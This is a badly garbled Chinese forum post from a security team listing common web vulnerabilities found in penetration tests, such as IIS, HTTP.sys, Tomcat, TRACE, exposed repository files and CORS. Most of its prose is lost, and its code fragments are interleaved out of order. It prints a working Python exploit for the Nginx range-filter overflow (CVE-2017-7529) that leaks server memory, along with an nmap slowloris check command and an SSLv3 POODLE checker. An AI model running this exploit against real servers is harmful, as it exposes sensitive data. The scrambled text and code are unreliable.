[20300] 2020-03-22_关于项目里面的硬核漏洞(找不到漏洞看这里)

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2020-03-22_关于项目里面的硬核漏洞(找不到漏洞看这里)     K h a n   2 0 2 0 - 0 3 - 2 2                 1 .                                   2 . H T T P         h t t p W e b W e b h t t p   r e q u e s t         n m a p   - s V   - v v   - p 8 0   - - s c r i p t = h t t p - s l o w l o r i s - c h e c k 3 .                     4 .           4 0 3 4 0 4 5 0 0 S Q L 便                
  5 . H t t p . s y s                     H T T P . s y s M i c r o s o f t   W i n d o w s H T T P I I S I I S 6 . 0 I I S H T T P . s y s H T T P . s y s H T T P . s y s W i n d o w s H T T P   H T T P . s y s                             B u r p / 6 . i i s 6                 C V E - 2 0 1 7 - 7 2 6 9 I I S   6 . 0 I I S 6 . 0 P R O P F I N D u r l m e m c p y                   7 . T O M C A T             T o m c a t h t t p : / / I P : / m a n a g e r / h t m l T o m c a t 便 W E B                   访 / e x a m p l e s / s e r v l e t s / s e r v l e t / S e s s i o n E x a m p l e / d o c s / / e x a m p l e s / s e r v l e t s / i n d e x . h t m l / e x a m p l e s / j s p / i n d e x . h t m l s  
8 .             T R A C E 穿   H T T P   T R A C E               t r a c e C S T X S S H T T P   T R A C E   9 .           / r o b o t s . t x t         / . g i t / c o n f i g           / . s v n / e n t r i e s         / . D S _ S t o r e                               1 0 .   F l a s h 访 访 f l a s h c r o s s d o m a i n . x m l f l a s h  
        访 c r o s s d o m a i n . x m l 1 1 .   j Q u e r y                   X S S                       j Q u e r y 1 2 .   H T T P                   H t t p                       1 3 .   ( C O R S )                   ( C O R S )   使   H T T P         o r i g i n   ( d o m a i n )   W e b 访   H T T P                         1 4 .   i p                 i p < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < s c r i p t   ) ; i m g . a t t r ( ' s r c ' , ' x x ' ) ; < / s c r i p t > < / b o d y > < / h t m l >
                      1 5 .   N g i n x C V E - 2 0 1 7 - 7 5 2 9                 N g i n x r a n g e   f i l t e r r a n g e H T T P i m p o r t   u r l l i b . p a r s e ,   r e q u e s t s ,   a r g p a r s e g l o b a l   c o l o r a m a ,   t e r m c o l o r t r y :         i m p o r t   c o l o r a m a ,   t e r m c o l o r         c o l o r a m a . i n i t ( a u t o r e s e t = T r u e ) e x c e p t   E x c e p t i o n   a s   e :         t e r m c o l o r   =   c o l o r a m a   =   N o n e c o l o r e d   =   l a m b d a   t e x t ,   c o l o r = " " ,   d a r k = F a l s e :   t e r m c o l o r . c o l o r e d ( t e x t ,   c o l o r   o r   " w h i t e " ,   a t t r s = [ " d a r k " ]   i f   d a r k   e l s e   [ ] )   i f   t e r m c o l o r   a n d   c o l o r a m a   e l s e   t e x t c l a s s   E x p l o i t ( r e q u e s t s . S e s s i o n ) :         b u f f e r   =   s e t ( )         d e f   _ _ i n i t _ _ ( s e l f ,   u r l ) :                 l e n g t h   =   i n t ( r e q u e s t s . g e t ( u r l ) . h e a d e r s . g e t ( " C o n t e n t - L e n g t h " ,   0 ) )   +   6 2 3                 s u p e r ( ) . _ _ i n i t _ _ ( )                 s e l f . h e a d e r s   =   { " R a n g e " :   f " b y t e s = - { l e n g t h } , - 9 2 2 3 3 7 2 0 3 6 8 5 4 { 7 7 6 0 0 0   -   l e n g t h } " }                 s e l f . t a r g e t   =   u r l l i b . p a r s e . u r l s p l i t ( u r l )         d e f   c h e c k ( s e l f ) :                 t r y :                         r e s p o n s e   =   s e l f . g e t ( s e l f . t a r g e t . g e t u r l ( ) )                         r e t u r n   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 6   a n d   " C o n t e n t - R a n g e "   i n   r e s p o n s e . t e x t                 e x c e p t   E x c e p t i o n   a s   e :                         r e t u r n   F a l s e         d e f   h e x d u m p ( s e l f ,   d a t a ) :                 f o r   b   i n   r a n g e ( 0 ,   l e n ( d a t a ) ,   1 6 ) :                         l i n e   =   [ c h a r   f o r   c h a r   i n   d a t a [ b :   b   +   1 6 ] ]                         p r i n t ( c o l o r e d ( "   -     { : 0 4 x } :   { : 4 8 }   { } " . f o r m a t ( b ,   "   " . j o i n ( f " { c h a r : 0 2 x } "   f o r   c h a r   i n   l i n e ) ,   " " . j o i n ( ( c h r ( c h a r )   i f   3 2   < =   c h a r   < =   1 2 6   e l s e   " . " )   f o r   c h a r   i n   l i n e ) ) ,   d a r k = T r u e ) )         d e f   e x e c u t e ( s e l f ) :                 v u l n e r a b l e   =   s e l f . c h e c k ( )                 p r i n t ( c o l o r e d ( f " [ { ' + '   i f   v u l n e r a b l e   e l s e   ' - ' } ]   { e x p l o i t . t a r g e t . n e t l o c }   i s   V u l n e r a b l e :   { s t r ( v u l n e r a b l e ) . u p p e r ( ) } " ,   " w h i t e "   i f   v u l n e r a b l e   e l s e   " y e l l o w " ) )                 i f   v u l n e r a b l e :                         d a t a   =   b " "                         w h i l e   l e n ( s e l f . b u f f e r )   <   0 x 8 0 :                                 t r y :                                         r e s p o n s e   =   s e l f . g e t ( s e l f . t a r g e t . g e t u r l ( ) )                                         f o r   l i n e   i n   r e s p o n s e . c o n t e n t . s p l i t ( b " r n " ) :                                                 i f   l i n e   n o t   i n   s e l f . b u f f e r :                                                         d a t a   + =   l i n e                                                         s e l f . b u f f e r . a d d ( l i n e )                                 e x c e p t   E x c e p t i o n   a s   e :                                         p r i n t ( )                                         p r i n t ( c o l o r e d ( f " [ ! ]   { t y p e ( e ) . _ _ n a m e _ _ } : " ,   " r e d " ) )                                         p r i n t ( c o l o r e d ( f "   -     { e } " ,   " r e d " ,   T r u e ) )                                         b r e a k                                 e x c e p t   K e y b o a r d I n t e r r u p t :                                         p r i n t ( )                                         p r i n t ( c o l o r e d ( " [ ! ]   K e y b o a r d   I n t e r r u p t e d !   ( C t r l + C   P r e s s e d ) " ,   " r e d " ) )                                         b r e a k                                 p r i n t ( c o l o r e d ( f " [ i ]   R e c e i v i n g   D a t a   [ { l e n ( d a t a ) }   b y t e s ]   . . . " ) ,   e n d   =   " r " )                         i f   d a t a :                                 p r i n t ( )                                 s e l f . h e x d u m p ( d a t a ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( p r o g   =   " C V E - 2 0 1 7 - 7 5 2 9 " ,                                                                           d e s c r i p t i o n   =   " N g i n x   v e r s i o n s   s i n c e   0 . 5 . 6   u p   t o   a n d   i n c l u d i n g   1 . 1 3 . 2   a r e   v u l n e r a b l e   t o   i n t e g e r   o v e r f l o w   v u l n e r a b i l i t y   i n   n g i n x   r a n g e   f i l t e r   m o d u l e   r e s u l t i n g   i n t o   l e a k   o f   p o t e n t i a l l y   s e n s i t i v e   i n f o r m a t i o n   t r i g g e r e d   b y   s p e c i a l l y   c r a f t e d   r e q u e s t . " ,                                                                           e p i l o g   =   " B y :   e n 0 f " )         p a r s e r . a d d _ a r g u m e n t ( " u r l " ,   t y p e   =   s t r ,   h e l p   =   " T a r g e t   U R L . " )         p a r s e r . a d d _ a r g u m e n t ( " - c " ,   " - - c h e c k " ,   a c t i o n   =   " s t o r e _ t r u e " ,   h e l p   =   " O n l y   c h e c k   i f   T a r g e t   i s   v u l n e r a b l e . " )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         t r y :
1 6 .   i i s         1 6 M S - D O S W i n d o w s w i n d o w s 8 . 3             1 7 .                                   1 8 .   S S L / t l s 1 . 0                 n m a p         t r y :                 e x p l o i t   =   E x p l o i t ( a r g s . u r l )                 i f   a r g s . c h e c k :                         v u l n e r a b l e   =   e x p l o i t . c h e c k ( )                         p r i n t ( c o l o r e d ( f " [ { ' + '   i f   v u l n e r a b l e   e l s e   ' - ' } ]   { e x p l o i t . t a r g e t . n e t l o c }   i s   V u l n e r a b l e :   { s t r ( v u l n e r a b l e ) . u p p e r ( ) } " ,   " w h i t e "   i f   v u l n e r a b l e   e l s e   " y e l l o w " ) )                 e l s e :                         t r y :                                 e x p l o i t . e x e c u t e ( )                         e x c e p t   E x c e p t i o n   a s   e :                                 p r i n t ( c o l o r e d ( f " [ ! ]   { t y p e ( e ) . _ _ n a m e _ _ } : " ,   " r e d " ) )                                 p r i n t ( c o l o r e d ( f "   -     { e } " ,   " r e d " ,   T r u e ) )         e x c e p t   K e y b o a r d I n t e r r u p t :                 p r i n t ( c o l o r e d ( " [ ! ]   K e y b o a r d   I n t e r r u p t e d !   ( C t r l + C   P r e s s e d ) " ,   " r e d " ) )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( c o l o r e d ( f " [ ! ]   { u r l l i b . p a r s e . u r l s p l i t ( a r g s . u r l ) . n e t l o c } :   { t y p e ( e ) . _ _ n a m e _ _ } " ,   " r e d " ) ) i m p o r t   s s l , s o c k e t , s y s   S S L _ V E R S I O N = {         ' S S L v 2 ' : s s l . P R O T O C O L _ S S L v 2 ,         ' S S L v 3 ' : s s l . P R O T O C O L _ S S L v 3 ,         ' S S L v 2 3 ' : s s l . P R O T O C O L _ S S L v 2 3 ,         ' T L S v 1 ' : s s l . P R O T O C O L _ T L S v 1 , }   d e f   c h e c k _ s s l _ v e r s i o n ( v e r s i o n ) :         t r y :                 h t t p s   =   s s l . S S L S o c k e t ( s o c k e t . s o c k e t ( ) , s s l _ v e r s i o n = S S L _ V E R S I O N . g e t ( v e r s i o n ) )
                                                                                                      -   K h a n                 h t t p s   =   s s l . S S L S o c k e t ( s o c k e t . s o c k e t ( ) , s s l _ v e r s i o n = S S L _ V E R S I O N . g e t ( v e r s i o n ) )                 c   =   h t t p s . c o n n e c t ( ( i p , p o r t ) )                 p r i n t   v e r s i o n   +   '   S u p p o r t e d '                 r e t u r n   T r u e         e x c e p t   E x c e p t i o n   a s   e :                 r e t u r n   F a l s e   U S A G E   =   ' = = = = = = = = = = n K P o o d l e   -   S S L   v e r s i o n   a n d   p o o d l e   a t t a c k   v u l n e r a b i l i t y   d e t e c t   t o o l n = = = = = = = = = = n U s a g e :   p y t h o n   k p o o d l e . p y   t a r g e t   p o r t ( d e f a u l t : 4 4 3 ) n n b y   k i n g x ' t r y :         i p   =   s y s . a r g v [ 1 ] e x c e p t :         p r i n t   U S A G E         s y s . e x i t ( ) t r y :         p o r t   =   i n t ( s y s . a r g v [ 2 ] ) e x c e p t :         p o r t   =   4 4 3   t r y :         p r i n t   ' C o n n e c t i n g . . . '         s   =   s o c k e t . s o c k e t ( ) . c o n n e c t ( ( i p , p o r t ) ) e x c e p t   E x c e p t i o n   a s   e :         p r i n t   e         p r i n t   ' C a n   n o t   c o n n e c t   t o   t h e   t a r g e t ! '         s y s . e x i t ( )   t r y :         p r i n t   ' C h e c k i n g . . . '         s s l 3   =   c h e c k _ s s l _ v e r s i o n ( ' S S L v 3 ' )         s s l 2   =   c h e c k _ s s l _ v e r s i o n ( ' S S L v 2 ' )         s s l 2 3   =   c h e c k _ s s l _ v e r s i o n ( ' S S L v 2 3 ' )         t l s   =   c h e c k _ s s l _ v e r s i o n ( ' T L S v 1 ' )         i f   s s l 3 :                 p r i n t   ' n S S L v 3   P o o d l e   V u l n e r a b l e ! '         e l s e :                 p r i n t   ' n N o   S S L v 3   S u p p o r t ! ' e x c e p t   E x c e p t i o n   a s   e :         p r i n t   e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则